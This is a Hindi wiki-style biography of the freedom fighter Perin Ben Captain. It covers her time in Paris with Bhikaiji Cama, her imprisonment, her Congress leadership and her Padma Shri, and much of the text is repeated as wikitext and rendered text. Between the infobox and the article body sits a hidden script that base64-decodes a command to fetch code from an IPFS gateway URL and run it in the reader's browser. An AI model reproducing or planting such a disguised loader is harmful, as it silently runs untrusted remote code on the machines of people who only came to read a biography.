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'''पेरिन बेन कैप्टन''' ([[अंग्रेज़ी]]: ''Perin Ben Captain'', जन्म- [[12 अक्टूबर]], [[1888]]; मृत्यु- [[1958]]) भारतीय महिला स्वतंत्रता सेनानी थीं। भारतीय स्वतंत्रता के लिए बहुत से लोगों ने अपना जीवन समर्पित किया । यदि कभी अतीत के पन्नों को खंगाला जाये तो ऐसी बहुत-सी भूली-बिसरी कहानियां मिलेंगी, जिनके बारे में [[इतिहासकार]] शायद लिखना भूल गये, ख़ासकर महिला स्वतंत्रता सेनानियों के बारे में। चंद महिला स्वतंत्रता सेनानिओं के अलावा शायद ही किसी के बारे में ज्यादा जाना व पढ़ा न गया हो। ऐसी ही कहानी है [[दादाभाई नौरोजी]] की पोती पेरिन बेन कैप्टेन की, जो शायद [[इतिहास]] की स्मृतियों से कहीं खो सी गयी है।
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}}'''पेरिन बेन कैप्टन''' ([[अंग्रेज़ी]]: ''Perin Ben Captain'', जन्म- [[12 अक्टूबर]], [[1888]]; मृत्यु- [[1958]]) भारतीय महिला स्वतंत्रता सेनानी थीं। भारतीय स्वतंत्रता के लिए बहुत से लोगों ने अपना जीवन समर्पित किया । यदि कभी अतीत के पन्नों को खंगाला जाये तो ऐसी बहुत-सी भूली-बिसरी कहानियां मिलेंगी, जिनके बारे में [[इतिहासकार]] शायद लिखना भूल गये, ख़ासकर महिला स्वतंत्रता सेनानियों के बारे में। चंद महिला स्वतंत्रता सेनानिओं के अलावा शायद ही किसी के बारे में ज्यादा जाना व पढ़ा न गया हो। ऐसी ही कहानी है [[दादाभाई नौरोजी]] की पोती पेरिन बेन कैप्टेन की, जो शायद [[इतिहास]] की स्मृतियों से कहीं खो सी गयी है।
 
==परिचय==  
 
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12 अक्टूबर, 1888 को [[गुजरात]] के कच्छ जिले के मांडवी में जन्मीं पेरिन बेन, दादाभाई नौरोजी के सबसे बड़े बेटे अर्देशिर की सबसे बड़ी बेटी थीं। उनके [[पिता]] एक डॉक्टर थे। बहुत कम उम्र में ही पेरिन ने अपने पिता को खो दिया था। साल [[1893]] में, जब वे महज पांच साल की थी तो उनके पिता की मृत्यु हो गयी थी। घर में हमेशा से पढ़ाई-लिखाई के माहौल के चलते पेरिन का झुकाव भी शिक्षा की तरफ़ था। उनकी शुरूआती पढ़ाई बॉम्बे (अब [[मुंबई]]) से हुई। इसके बाद वे आगे की पढ़ाई के लिए [[फ्रांस]] चली गयी।
 
12 अक्टूबर, 1888 को [[गुजरात]] के कच्छ जिले के मांडवी में जन्मीं पेरिन बेन, दादाभाई नौरोजी के सबसे बड़े बेटे अर्देशिर की सबसे बड़ी बेटी थीं। उनके [[पिता]] एक डॉक्टर थे। बहुत कम उम्र में ही पेरिन ने अपने पिता को खो दिया था। साल [[1893]] में, जब वे महज पांच साल की थी तो उनके पिता की मृत्यु हो गयी थी। घर में हमेशा से पढ़ाई-लिखाई के माहौल के चलते पेरिन का झुकाव भी शिक्षा की तरफ़ था। उनकी शुरूआती पढ़ाई बॉम्बे (अब [[मुंबई]]) से हुई। इसके बाद वे आगे की पढ़ाई के लिए [[फ्रांस]] चली गयी।
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[[पेरिस]] की सोह्बन न्युवेल यूनिवर्सिटी से उन्होंने फ्रेंच भाषा में अपनी डिग्री पूरी की। पेरिस में रहते समय वे [[भीकाजी कामा]] के सम्पर्क में आयीं। भीकाजी ने उन्हें बहुत प्रभावित किया और वे उनके साथ उनकी गतिविधियों में शामिल होने लगीं। यहीं से पेरिन बेन कैप्टन की एक स्वतंत्रता सेनानी बनने की शुरुआत हुई। बताया जाता है कि जब [[विनायक दामोदर सावरकर]] को लन्दन में ब्रिटिश पुलिस ने गिरफ्तार कर लिया था तो उन्हें छुड़वाने में पेरिन बेन ने अहम भूमिका निभाई थी। इसके बाद उन्होंने साल [[1910]] में सावरकर और भीकाजी के साथ ब्रुसेल्स में [[मिस्र]] की राष्ट्रीय कांग्रेस में भाग लिया था। वे पेरिस में भी विभिन्न संगठनों से जुड़ी हुई थीं, जिनमें से एक पॉलिश इ-माइग्रे था। इनके साथ मिलकर उन्होंने [[रूस]] में ज़ारिस्ट शासन के खिलाफ़ विरोध किया।
 
[[पेरिस]] की सोह्बन न्युवेल यूनिवर्सिटी से उन्होंने फ्रेंच भाषा में अपनी डिग्री पूरी की। पेरिस में रहते समय वे [[भीकाजी कामा]] के सम्पर्क में आयीं। भीकाजी ने उन्हें बहुत प्रभावित किया और वे उनके साथ उनकी गतिविधियों में शामिल होने लगीं। यहीं से पेरिन बेन कैप्टन की एक स्वतंत्रता सेनानी बनने की शुरुआत हुई। बताया जाता है कि जब [[विनायक दामोदर सावरकर]] को लन्दन में ब्रिटिश पुलिस ने गिरफ्तार कर लिया था तो उन्हें छुड़वाने में पेरिन बेन ने अहम भूमिका निभाई थी। इसके बाद उन्होंने साल [[1910]] में सावरकर और भीकाजी के साथ ब्रुसेल्स में [[मिस्र]] की राष्ट्रीय कांग्रेस में भाग लिया था। वे पेरिस में भी विभिन्न संगठनों से जुड़ी हुई थीं, जिनमें से एक पॉलिश इ-माइग्रे था। इनके साथ मिलकर उन्होंने [[रूस]] में ज़ारिस्ट शासन के खिलाफ़ विरोध किया।
 
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साल [[1911]] में वे [[भारत]] लौटीं। यहाँ वापिस आने के बाद उन्हें [[महात्मा गाँधी]] से मिलने का मौका मिला। गाँधी जी के आदर्शों से प्रभावित पेरिन ने अपना जीवन देश के लिए समर्पित कर दिया। वे गाँधी जी के साथ मिलकर अंग्रेजी शासन के खिलाफ़ गतिविधियाँ करने लगीं। इस दौरान उन्हें कई बार जेल भी जाना पड़ा। लेकिन वे पीछे नहीं हटीं। साल [[1920]] में उन्होंने स्वदेशी अभियान का समर्थन किया और उन्होंने खादी पहनना शुरू कर दिया। और [[1921]] में उन्होंने गांधीवादी आदर्शों पर आधारित औरतों के अभियान, राष्ट्रीय स्त्री सभा के गठन में महत्वपूर्ण योगदान दिया।
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साल [[1925]] में पेरिन ने धुनजीशा एस. कैप्टेन से [[विवाह]] किया जो कि पेशे से एक वकील थे। शादी के बाद भी वे राजनितिक गतिविधियों में सक्रीय रहीं। [[1930]] में वे बॉम्बे प्रांतीय कांग्रेस कमिटी की अध्यक्ष पद के लिए चुनी जाने वाली पहली महिला बनी।
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17:14, 14 अप्रैल 2021 का अवतरण

पेरिन बेन कैप्टन
[[चित्र:|पेरिन बेन कैप्टन|200px|center]]
पूरा नाम पेरिन बेन कैप्टन
जन्म 12 अक्टूबर, 1888
जन्म भूमि कच्छ, गुजरात
मृत्यु 1958
अभिभावक पिता- अर्देशिर
पति/पत्नी धुनजीशा एस. कैप्टेन
नागरिकता भारतीय
प्रसिद्धि स्वतंत्रता सेनानी
अन्य जानकारी सन 1921 में पेरिन बेन कैप्टन ने गांधीवादी आदर्शों पर आधारित औरतों के अभियान, राष्ट्रीय स्त्री सभा के गठन में महत्वपूर्ण योगदान दिया।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>पेरिन बेन कैप्टन (अंग्रेज़ी: Perin Ben Captain, जन्म- 12 अक्टूबर, 1888; मृत्यु- 1958) भारतीय महिला स्वतंत्रता सेनानी थीं। भारतीय स्वतंत्रता के लिए बहुत से लोगों ने अपना जीवन समर्पित किया । यदि कभी अतीत के पन्नों को खंगाला जाये तो ऐसी बहुत-सी भूली-बिसरी कहानियां मिलेंगी, जिनके बारे में इतिहासकार शायद लिखना भूल गये, ख़ासकर महिला स्वतंत्रता सेनानियों के बारे में। चंद महिला स्वतंत्रता सेनानिओं के अलावा शायद ही किसी के बारे में ज्यादा जाना व पढ़ा न गया हो। ऐसी ही कहानी है दादाभाई नौरोजी की पोती पेरिन बेन कैप्टेन की, जो शायद इतिहास की स्मृतियों से कहीं खो सी गयी है।

परिचय

12 अक्टूबर, 1888 को गुजरात के कच्छ जिले के मांडवी में जन्मीं पेरिन बेन, दादाभाई नौरोजी के सबसे बड़े बेटे अर्देशिर की सबसे बड़ी बेटी थीं। उनके पिता एक डॉक्टर थे। बहुत कम उम्र में ही पेरिन ने अपने पिता को खो दिया था। साल 1893 में, जब वे महज पांच साल की थी तो उनके पिता की मृत्यु हो गयी थी। घर में हमेशा से पढ़ाई-लिखाई के माहौल के चलते पेरिन का झुकाव भी शिक्षा की तरफ़ था। उनकी शुरूआती पढ़ाई बॉम्बे (अब मुंबई) से हुई। इसके बाद वे आगे की पढ़ाई के लिए फ्रांस चली गयी।

भीकाजी कामा का साथ

पेरिस की सोह्बन न्युवेल यूनिवर्सिटी से उन्होंने फ्रेंच भाषा में अपनी डिग्री पूरी की। पेरिस में रहते समय वे भीकाजी कामा के सम्पर्क में आयीं। भीकाजी ने उन्हें बहुत प्रभावित किया और वे उनके साथ उनकी गतिविधियों में शामिल होने लगीं। यहीं से पेरिन बेन कैप्टन की एक स्वतंत्रता सेनानी बनने की शुरुआत हुई। बताया जाता है कि जब विनायक दामोदर सावरकर को लन्दन में ब्रिटिश पुलिस ने गिरफ्तार कर लिया था तो उन्हें छुड़वाने में पेरिन बेन ने अहम भूमिका निभाई थी। इसके बाद उन्होंने साल 1910 में सावरकर और भीकाजी के साथ ब्रुसेल्स में मिस्र की राष्ट्रीय कांग्रेस में भाग लिया था। वे पेरिस में भी विभिन्न संगठनों से जुड़ी हुई थीं, जिनमें से एक पॉलिश इ-माइग्रे था। इनके साथ मिलकर उन्होंने रूस में ज़ारिस्ट शासन के खिलाफ़ विरोध किया।

जेलयात्रा

साल 1911 में वे भारत लौटीं। यहाँ वापिस आने के बाद उन्हें महात्मा गाँधी से मिलने का मौका मिला। गाँधी जी के आदर्शों से प्रभावित पेरिन ने अपना जीवन देश के लिए समर्पित कर दिया। वे गाँधी जी के साथ मिलकर अंग्रेजी शासन के खिलाफ़ गतिविधियाँ करने लगीं। इस दौरान उन्हें कई बार जेल भी जाना पड़ा। लेकिन वे पीछे नहीं हटीं। साल 1920 में उन्होंने स्वदेशी अभियान का समर्थन किया और उन्होंने खादी पहनना शुरू कर दिया। 1921 में उन्होंने गांधीवादी आदर्शों पर आधारित औरतों के अभियान, राष्ट्रीय स्त्री सभा के गठन में महत्वपूर्ण योगदान दिया।

बॉम्बे प्रांतीय कांग्रेस कमिटी की अध्यक्ष

साल 1925 में पेरिन ने धुनजीशा एस. कैप्टेन से विवाह किया जो कि पेशे से एक वकील थे। शादी के बाद भी वे राजनितिक गतिविधियों में सक्रीय रहीं। 1930 में वे बॉम्बे प्रांतीय कांग्रेस कमिटी की अध्यक्ष पद के लिए चुनी जाने वाली पहली महिला बनी।

पद्म श्री

जब भारत सरकार ने 1954 में पद्म नागरिक पुरस्कारों की शुरुआत की तो 'पद्म श्री' के लिए पेरिन बेन का नाम पुरस्कार विजेताओं की पहली सूची में शामिल किया गया था। पेरिन बेन लगातार गांधीजी के साथ समाज सुधार के लिए कार्य करती रहीं। उन्होंने अपनी आखिरी सांस तक देश की सेवा की।

मृत्य

पेरिन बेन ने महात्मा गांधी द्वारा शुरू किये गये जन असहयोग आंदोलन में भाग लिया और जेल भी गयीं। गाँधी सेवा सेना के गठन के बाद उन्हें इसकी महासचिव बनाया गया। वे साल 1958 में अपनी मृत्यु तक इस पद पर रहीं। उन्होंने 'हिन्दुस्तानी प्रचार सभा' के लिए भी काम किया।


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